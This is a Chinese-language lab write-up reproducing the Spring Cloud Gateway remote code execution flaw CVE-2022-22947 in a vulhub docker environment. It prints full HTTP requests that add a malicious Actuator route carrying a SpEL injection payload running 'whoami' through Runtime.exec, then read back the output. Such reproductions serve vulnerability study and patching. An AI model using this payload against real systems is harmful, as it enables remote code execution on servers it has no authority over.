Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)的过程解析

2024-04-02 19:55

短信预约 -IT技能 免费直播动态提醒

1.漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关，它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。

Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告，据公告描述，当启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。

2.影响版本

3.1.0

3.0.0至3.0.6

Spring Cloud Gateway 其他已不再更新的版本

3.漏洞环境搭建

利用docker搭建漏洞复现环境

git pul #更新vulhub

切换到/vulhub/spring/CVE-2022-22947目录

拉取漏洞环境

docker-compose up -d

访问http://192.168.42.145:8080

4.漏洞复现

添加包含恶意的路由

POST /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Accept-Encoding: gzip, deflate
Accept: **;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334

{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

命令执行成功

GET /actuator/gateway/routes/EchoSec HTTP/1.1
Host: 192.168.42.145:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,**;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 334

{
  "id": "EchoSec",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}